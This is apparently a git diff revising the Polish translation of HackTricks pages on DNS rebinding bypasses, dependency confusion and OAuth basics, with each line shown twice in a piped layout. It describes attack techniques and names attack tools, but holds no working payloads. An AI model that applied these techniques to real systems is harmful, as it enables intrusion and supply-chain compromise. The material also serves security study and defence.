Innym sposobem na obejście obrony buforowania jest wykorzystanie wielu adresów IP dla tej samej poddomeny w dostawcy DNS. Oto jak to działa:
|
Innym sposobem na obejście obrony buforowania jest wykorzystanie wielu adresów IP dla tej samej poddomeny w dostawcy DNS. Oto jak to działa:
|
||||||
|
|
||||||
|
@ -327,7 +327,7 @@ Innym sposobem na obejście obrony buforowania jest wykorzystanie wielu adresów
|
||||||
3. Jeśli przeglądarka zdecyduje się najpierw użyć adresu IP atakującego, atakujący może dostarczyć ładunek, który wykonuje żądania HTTP do tej samej domeny.
|
3. Jeśli przeglądarka zdecyduje się najpierw użyć adresu IP atakującego, atakujący może dostarczyć ładunek, który wykonuje żądania HTTP do tej samej domeny.
|
||||||
4. Jednak gdy atakujący uzyska adres IP ofiary, przestaje odpowiadać przeglądarce ofiary.
|
4. Jednak gdy atakujący uzyska adres IP ofiary, przestaje odpowiadać przeglądarce ofiary.
|
||||||
5. Przeglądarka ofiary, po zauważeniu, że domena jest niedostępna, przechodzi do użycia drugiego podanego adresu IP.
|
5. Przeglądarka ofiary, po zauważeniu, że domena jest niedostępna, przechodzi do użycia drugiego podanego adresu IP.
|
||||||
6. Poprzez dostęp do drugiego adresu IP, przeglądarka omija Politykę Jednego Źródła (SOP), pozwalając atakującemu na nadużycie tego i zbieranie oraz eksfiltrację informacji.
|
6. Poprzez dostęp do drugiego adresu IP, przeglądarka omija Politykę Jednego Źródła (SOP), co pozwala atakującemu wykorzystać to i uzyskać i wycieknąć informacje.
|
||||||
|
|
||||||
Ta technika wykorzystuje zachowanie przeglądarek, gdy dostarczane są im multiple adresy IP dla domeny. Poprzez strategiczne kontrolowanie odpowiedzi i manipulowanie wyborem adresu IP przez przeglądarkę, atakujący może wykorzystać SOP i uzyskać dostęp do informacji od ofiary.
|
Ta technika wykorzystuje zachowanie przeglądarek, gdy dostarczane są im multiple adresy IP dla domeny. Poprzez strategiczne kontrolowanie odpowiedzi i manipulowanie wyborem adresu IP przez przeglądarkę, atakujący może wykorzystać SOP i uzyskać dostęp do informacji od ofiary.
|
||||||
|
|
||||||
|
@ -339,28 +339,28 @@ Dostawcy takie jak godaddy lub cloudflare nie pozwoliły mi na użycie adresu IP
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Aby uzyskać więcej informacji, możesz sprawdzić [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/)
|
Aby uzyskać więcej informacji, możesz sprawdzić [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/)
|
||||||
### Inne powszechne metody bypassowania
|
### Inne powszechne metody obchodzenia
|
||||||
|
|
||||||
* Jeśli **wewnętrzne adresy IP nie są dozwolone**, mogą **zapomnieć o zakazaniu 0.0.0.0** (działa w systemach Linux i Mac)
|
* Jeśli **wewnętrzne adresy IP nie są dozwolone**, mogą **zapomnieć o zakazaniu 0.0.0.0** (działa w systemach Linux i Mac)
|
||||||
* Jeśli **wewnętrzne adresy IP nie są dozwolone**, odpowiedz **CNAME** na **localhost** (działa w systemach Linux i Mac)
|
* Jeśli **wewnętrzne adresy IP nie są dozwolone**, odpowiedz **CNAME** na **localhost** (działa w systemach Linux i Mac)
|
||||||
* Jeśli **wewnętrzne adresy IP nie są dozwolone** w odpowiedziach DNS, można odpowiedzieć **CNAME na wewnętrzne usługi** takie jak www.corporate.internal.
|
* Jeśli **wewnętrzne adresy IP nie są dozwolone** jako odpowiedzi DNS, można odpowiedzieć **CNAME na wewnętrzne usługi** takie jak www.corporate.internal.
|
||||||
|
|
||||||
### Uzbrojone ataki DNS Rebidding
|
### Uzbrojone ataki DNS Rebidding
|
||||||
|
|
||||||
Więcej informacji na temat poprzednich technik bypassowania i jak korzystać z poniższego narzędzia można znaleźć w prezentacji [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - Konferencja DEF CON 27](https://www.youtube.com/watch?v=y9-0lICNjOQ).
|
Więcej informacji na temat poprzednich technik obchodzenia i jak korzystać z poniższego narzędzia można znaleźć w prezentacji [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - Konferencja DEF CON 27](https://www.youtube.com/watch?v=y9-0lICNjOQ).
|
||||||
|
|
||||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) to narzędzie do przeprowadzania ataków [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Zawiera niezbędne komponenty do przypisania adresu IP nazwy DNS serwera atakującego do adresu IP maszyny docelowej i serwowania ładunków ataku w celu wykorzystania podatnego oprogramowania na maszynie docelowej.
|
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) to narzędzie do przeprowadzania ataków [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Zawiera niezbędne komponenty do przypisania adresu IP serwera atakującego nazwie DNS do adresu IP maszyny docelowej i serwowania ładunków ataku w celu wykorzystania podatnego oprogramowania na maszynie docelowej.
|
||||||
|
|
||||||
### Rzeczywista ochrona przed atakami DNS Rebinding
|
### Rzeczywista ochrona przed atakami DNS Rebinding
|
||||||
|
|
||||||
* Używaj TLS w wewnętrznych usługach
|
* Używaj TLS w wewnętrznych usługach
|
||||||
* Wymagaj uwierzytelnienia do dostępu do danych
|
* Wymagaj uwierzytelnienia do dostępu do danych
|
||||||
* Sprawdzaj nagłówek Host
|
* Sprawdzaj nagłówek Host
|
||||||
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Propozycja zawsze wysyłania żądania pre-flight, gdy publiczne serwery chcą uzyskać dostęp do serwerów wewnętrznych
|
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Propozycja zawsze wysyłania żądania pre-flight, gdy serwery publiczne chcą uzyskać dostęp do serwerów wewnętrznych
|
||||||
|
|
||||||
## **Narzędzia**
|
## **Narzędzia**
|
||||||
|
|
||||||
**Testuj możliwe błędy w politykach CORS**
|
**Testuj możliwe błędy konfiguracji w politykach CORS**
|
||||||
|
|
||||||
* [https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8](https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8)
|
* [https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8](https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8)
|
||||||
* [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
|
* [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
|
||||||
|
@ -382,7 +382,7 @@ Więcej informacji na temat poprzednich technik bypassowania i jak korzystać z
|
||||||
* [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b)
|
* [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b)
|
||||||
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -392,10 +392,10 @@ Więcej informacji na temat poprzednich technik bypassowania i jak korzystać z
|
||||||
|
|
||||||
Inne sposoby wsparcia HackTricks:
|
Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub **grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -4,15 +4,15 @@
|
||||||
|
|
||||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną na HackTricks**? lub chcesz uzyskać dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) albo **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do [repozytorium hacktricks](https://github.com/carlospolop/hacktricks) i [repozytorium hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do [repozytorium hacktricks](https://github.com/carlospolop/hacktricks) i [repozytorium hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -23,7 +23,7 @@ W skrócie, podatność na dependency confusion występuje, gdy projekt używa b
|
||||||
|
|
||||||
* **Błędnie napisana**: Importuj **`reqests`** zamiast `requests`
|
* **Błędnie napisana**: Importuj **`reqests`** zamiast `requests`
|
||||||
* **Nieistniejąca**: Importuj `company-logging`, wewnętrzną bibliotekę, która **już nie istnieje**
|
* **Nieistniejąca**: Importuj `company-logging`, wewnętrzną bibliotekę, która **już nie istnieje**
|
||||||
* **Nieokreślona wersja**: Importuj **wewnętrzną** **istniejącą** bibliotekę `company-requests`, ale repo sprawdza **publiczne repozytoria**, aby zobaczyć, czy są **nowsze wersje**.
|
* **Nieokreślona wersja**: Importuj **wewnętrzną** **istniejącą** bibliotekę `company-requests`, ale sprawdź repozytorium **publiczne repozytoria**, aby zobaczyć, czy są **nowsze wersje**.
|
||||||
|
|
||||||
## Wykorzystanie
|
## Wykorzystanie
|
||||||
|
|
||||||
|
@ -33,16 +33,16 @@ W każdym przypadku atakujący musi tylko opublikować **złośliwy pakiet o naz
|
||||||
|
|
||||||
### Błędnie napisana & Nieistniejąca
|
### Błędnie napisana & Nieistniejąca
|
||||||
|
|
||||||
Jeśli twoja firma próbuje **importować bibliotekę, która nie jest wewnętrzna**, bardzo prawdopodobne jest, że repozytorium bibliotek będzie próbować jej znaleźć w **publicznych repozytoriach**. Jeśli atakujący ją stworzył, twój kod i uruchomione maszyny prawdopodobnie zostaną skompromitowane.
|
Jeśli twoja firma próbuje **importować bibliotekę, która nie jest wewnętrzna**, bardzo prawdopodobne jest, że repozytorium bibliotek będzie próbować jej znaleźć w **publicznych repozytoriach**. Jeśli atakujący ją stworzył, twój kod i uruchomione maszyny są bardzo prawdopodobnie zagrożone.
|
||||||
|
|
||||||
### Nieokreślona wersja
|
### Nieokreślona wersja
|
||||||
|
|
||||||
Bardzo często deweloperzy **nie określają żadnej wersji** używanej biblioteki, lub określają tylko **główną wersję**. Wtedy interpreter spróbuje pobrać **najnowszą wersję** spełniającą te wymagania.\
|
Bardzo często deweloperzy **nie określają żadnej wersji** używanej biblioteki, lub określają tylko **główną wersję**. W takim przypadku interpreter spróbuje pobrać **najnowszą wersję**, spełniającą te wymagania.\
|
||||||
Jeśli biblioteka jest **znaną zewnętrzną biblioteką** (jak python `requests`), **atakujący nie może zrobić wiele**, ponieważ nie będzie mógł stworzyć biblioteki o nazwie `requests` (chyba że jest oryginalnym autorem).\
|
Jeśli biblioteka jest **znaną zewnętrzną biblioteką** (jak python `requests`), **atakujący nie może zrobić wiele**, ponieważ nie będzie mógł stworzyć biblioteki o nazwie `requests` (chyba że jest jej oryginalnym autorem).\
|
||||||
Jednak jeśli biblioteka jest **wewnętrzna**, jak `requests-company` w tym przykładzie, jeśli **repozytorium biblioteki** pozwala na **sprawdzanie nowych wersji również zewnętrznie**, będzie szukać nowszej wersji publicznie dostępnej.\
|
Jednakże, jeśli biblioteka jest **wewnętrzna**, jak `requests-company` w tym przykładzie, jeśli **repozytorium biblioteki** pozwala na **sprawdzanie nowych wersji również zewnętrznie**, będzie szukać nowszej publicznie dostępnej wersji.\
|
||||||
Więc jeśli **atakujący wie**, że firma używa biblioteki `requests-company` **wersji 1.0.1** (pozwala na aktualizacje mniejsze). Może **opublikować** bibliotekę `requests-company` **wersji 1.0.2** i firma **będzie używać tej biblioteki zamiast wewnętrznej**.
|
Więc jeśli **atakujący wie**, że firma używa biblioteki `requests-company` **wersja 1.0.1** (zezwala na aktualizacje mniejsze). Może **opublikować** bibliotekę `requests-company` **wersja 1.0.2** i firma **będzie używać tej biblioteki zamiast wewnętrznej**.
|
||||||
|
|
||||||
## Poprawka AWS
|
## Naprawa w AWS
|
||||||
|
|
||||||
Ta podatność została znaleziona w AWS **CodeArtifact** (przeczytaj [**szczegóły w tym wpisie na blogu**](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d)).\
|
Ta podatność została znaleziona w AWS **CodeArtifact** (przeczytaj [**szczegóły w tym wpisie na blogu**](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d)).\
|
||||||
AWS naprawiło to, pozwalając określić, czy biblioteka jest wewnętrzna czy zewnętrzna, aby uniknąć pobierania wewnętrznych zależności z zewnętrznych repozytoriów.
|
AWS naprawiło to, pozwalając określić, czy biblioteka jest wewnętrzna czy zewnętrzna, aby uniknąć pobierania wewnętrznych zależności z zewnętrznych repozytoriów.
|
||||||
|
@ -56,7 +56,7 @@ W [**oryginalnym poście o dependency confusion**](https://medium.com/@alex.birs
|
||||||
* [https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
|
* [https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
|
||||||
* [https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d)
|
* [https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d)
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -64,10 +64,10 @@ W [**oryginalnym poście o dependency confusion**](https://medium.com/@alex.birs
|
||||||
|
|
||||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną na HackTricks**? lub chcesz uzyskać dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) albo **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do [repozytorium hacktricks](https://github.com/carlospolop/hacktricks) i [repozytorium hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do [repozytorium hacktricks](https://github.com/carlospolop/hacktricks) i [repozytorium hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -14,30 +14,30 @@ Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
|
||||||
## Podstawowe informacje <a href="#d4a8" id="d4a8"></a>
|
## Podstawowe informacje <a href="#d4a8" id="d4a8"></a>
|
||||||
|
|
||||||
OAuth oferuje różne wersje, z podstawowymi informacjami dostępnymi na stronie [dokumentacji OAuth 2.0](https://oauth.net/2/). Ta dyskusja skupia się głównie na powszechnie używanym [typie autoryzacji OAuth 2.0](https://oauth.net/2/grant-types/authorization-code/), zapewniającym **framework autoryzacji, który umożliwia aplikacji dostęp lub wykonywanie działań na koncie użytkownika w innej aplikacji** (serwer autoryzacji).
|
OAuth oferuje różne wersje, z podstawowymi informacjami dostępnymi na stronie [dokumentacji OAuth 2.0](https://oauth.net/2/). Ta dyskusja koncentruje się głównie na powszechnie używanym [typie udzielenia autoryzacji OAuth 2.0](https://oauth.net/2/grant-types/authorization-code/), zapewniającym **framework autoryzacji, który umożliwia aplikacji dostęp lub wykonywanie działań na koncie użytkownika w innej aplikacji** (serwer autoryzacji).
|
||||||
|
|
||||||
Rozważmy hipotetyczną stronę internetową _**https://example.com**_, zaprojektowaną do **prezentowania wszystkich Twoich postów na mediach społecznościowych**, w tym tych prywatnych. Aby to osiągnąć, wykorzystywane jest OAuth 2.0. _https://example.com_ poprosi o zgodę na **dostęp do Twoich postów na mediach społecznościowych**. W rezultacie na _https://socialmedia.com_ pojawi się ekran zgody, przedstawiający **uprawnienia, które są żądane, oraz dewelopera dokonującego żądania**. Po udzieleniu zgody, _https://example.com_ uzyskuje możliwość **dostępu do Twoich postów w Twoim imieniu**.
|
Rozważmy hipotetyczną stronę internetową _**https://example.com**_, zaprojektowaną do **prezentowania wszystkich twoich postów na mediach społecznościowych**, w tym tych prywatnych. Aby to osiągnąć, wykorzystywane jest OAuth 2.0. _https://example.com_ poprosi o zgodę na **dostęp do twoich postów na mediach społecznościowych**. W rezultacie na _https://socialmedia.com_ pojawi się ekran zgody, przedstawiający **uprawnienia, które są żądane, oraz dewelopera dokonującego żądania**. Po udzieleniu autoryzacji, _https://example.com_ uzyskuje możliwość **dostępu do twoich postów w twoim imieniu**.
|
||||||
|
|
||||||
Należy zrozumieć następujące komponenty w ramach frameworka OAuth 2.0:
|
Należy zrozumieć następujące komponenty w ramach frameworka OAuth 2.0:
|
||||||
|
|
||||||
- **właściciel zasobu**: Ty, jako **użytkownik/encja**, autoryzujesz dostęp do swojego zasobu, takiego jak Twoje posty na mediach społecznościowych.
|
- **właściciel zasobu**: Ty, jako **użytkownik/encja**, autoryzujesz dostęp do swojego zasobu, takiego jak twoje posty na koncie w mediach społecznościowych.
|
||||||
- **serwer zasobów**: Serwer zarządzający uwierzytelnionymi żądaniami po tym, jak aplikacja uzyskała `token dostępu` w imieniu `właściciela zasobu`, np. **https://socialmedia.com**.
|
- **serwer zasobów**: Serwer **zarządzający uwierzytelnionymi żądaniami** po tym, jak aplikacja uzyskała `token dostępu` w imieniu `właściciela zasobu`, np. **https://socialmedia.com**.
|
||||||
- **aplikacja klienta**: Aplikacja, która **poszukuje autoryzacji** od `właściciela zasobu`, taka jak **https://example.com**.
|
- **aplikacja klienta**: Aplikacja **żądająca autoryzacji** od `właściciela zasobu`, taka jak **https://example.com**.
|
||||||
- **serwer autoryzacji**: Serwer, który wydaje `tokeny dostępu` dla `aplikacji klienta` po pomyślnym uwierzytelnieniu `właściciela zasobu` i uzyskaniu autoryzacji, np. **https://socialmedia.com**.
|
- **serwer autoryzacji**: Serwer, który wydaje `tokeny dostępu` dla `aplikacji klienta` po pomyślnym uwierzytelnieniu `właściciela zasobu` i uzyskaniu autoryzacji, np. **https://socialmedia.com**.
|
||||||
- **client\_id**: Publiczny, unikalny identyfikator aplikacji.
|
- **client\_id**: Publiczny, unikalny identyfikator aplikacji.
|
||||||
- **client\_secret:** Poufny klucz, znany tylko aplikacji i serwerowi autoryzacji, używany do generowania `tokenów dostępu`.
|
- **client\_secret:** Poufny klucz, znany wyłącznie aplikacji i serwerowi autoryzacji, używany do generowania `tokenów dostępu`.
|
||||||
- **response\_type**: Wartość określająca **typ żądanego tokenu**, np. `code`.
|
- **response\_type**: Wartość określająca **typ żądanego tokenu**, np. `code`.
|
||||||
- **scope**: **Poziom dostępu**, który `aplikacja klienta` żąda od `właściciela zasobu`.
|
- **scope**: **Poziom dostępu**, który `aplikacja klienta` żąda od `właściciela zasobu`.
|
||||||
- **redirect\_uri**: **URL, do którego użytkownik jest przekierowywany po autoryzacji**. Zazwyczaj musi to być zgodne z wcześniej zarejestrowanym adresem przekierowania.
|
- **redirect\_uri**: **URL, do którego użytkownik jest przekierowywany po autoryzacji**. Zazwyczaj musi to być zgodne z wcześniej zarejestrowanym adresem przekierowania.
|
||||||
- **state**: Parametr służący do **przechowywania danych podczas przekierowania użytkownika do i z serwera autoryzacji**. Jego unikalność jest kluczowa dla pełnienia roli **mechanizmu ochrony CSRF**.
|
- **state**: Parametr służący do **przechowywania danych podczas przekierowania użytkownika do i z serwera autoryzacji**. Jego unikalność jest kluczowa dla pełnienia roli **mechanizmu ochrony CSRF**.
|
||||||
- **grant\_type**: Parametr wskazujący **typ autoryzacji i typ zwracanego tokenu**.
|
- **grant\_type**: Parametr wskazujący **typ udzielenia autoryzacji i typ zwracanego tokenu**.
|
||||||
- **code**: Kod autoryzacji z `serwera autoryzacji`, używany wspólnie z `client_id` i `client_secret` przez aplikację klienta do uzyskania `tokena dostępu`.
|
- **code**: Kod autoryzacji z `serwera autoryzacji`, używany wspólnie z `client_id` i `client_secret` przez aplikację klienta do uzyskania `tokena dostępu`.
|
||||||
- **access\_token**: **Token, którego aplikacja klienta używa do żądań API** w imieniu `właściciela zasobu`.
|
- **access\_token**: **Token, którego aplikacja klienta używa do żądań API** w imieniu `właściciela zasobu`.
|
||||||
- **refresh\_token**: Umożliwia aplikacji **uzyskanie nowego `tokena dostępu` bez ponownego pytania użytkownika**.
|
- **refresh\_token**: Umożliwia aplikacji **uzyskanie nowego `tokena dostępu` bez ponownego pytania użytkownika**.
|
||||||
|
@ -47,7 +47,7 @@ Należy zrozumieć następujące komponenty w ramach frameworka OAuth 2.0:
|
||||||
**Rzeczywisty przepływ OAuth** przebiega następująco:
|
**Rzeczywisty przepływ OAuth** przebiega następująco:
|
||||||
|
|
||||||
1. Przechodzisz do [https://example.com](https://example.com) i wybierasz przycisk „Integruj z mediami społecznościowymi”.
|
1. Przechodzisz do [https://example.com](https://example.com) i wybierasz przycisk „Integruj z mediami społecznościowymi”.
|
||||||
2. Strona wysyła żądanie do [https://socialmedia.com](https://socialmedia.com), prosząc o Twoją autoryzację, aby pozwolić aplikacji https://example.com na dostęp do Twoich postów. Żądanie jest zbudowane w następujący sposób:
|
2. Strona wysyła żądanie do [https://socialmedia.com](https://socialmedia.com), prosząc o twoją autoryzację, aby pozwolić aplikacji https://example.com na dostęp do twoich postów. Żądanie jest zbudowane w następujący sposób:
|
||||||
```
|
```
|
||||||
https://socialmedia.com/auth
|
https://socialmedia.com/auth
|
||||||
?response_type=code
|
?response_type=code
|
||||||
|
@ -56,7 +56,7 @@ https://socialmedia.com/auth
|
||||||
&scope=readPosts
|
&scope=readPosts
|
||||||
&state=randomString123
|
&state=randomString123
|
||||||
```
|
```
|
||||||
3. Następnie zostajesz poproszony o wyrażenie zgody.
|
3. Następnie zostajesz poproszony o zgodę na dostęp.
|
||||||
|
|
||||||
4. Po udzieleniu zgody, Media Społecznościowe wysyła odpowiedź do `redirect_uri` z parametrami `code` i `state`:
|
4. Po udzieleniu zgody, Media Społecznościowe wysyła odpowiedź do `redirect_uri` z parametrami `code` i `state`:
|
||||||
```
|
```
|
||||||
|
@ -70,17 +70,17 @@ Host: socialmedia.com
|
||||||
```
|
```
|
||||||
6. Ostatecznie proces kończy się, gdy https://example.com wykorzystuje Twój `access_token` do wykonania wywołania interfejsu API do mediów społecznościowych w celu uzyskania dostępu
|
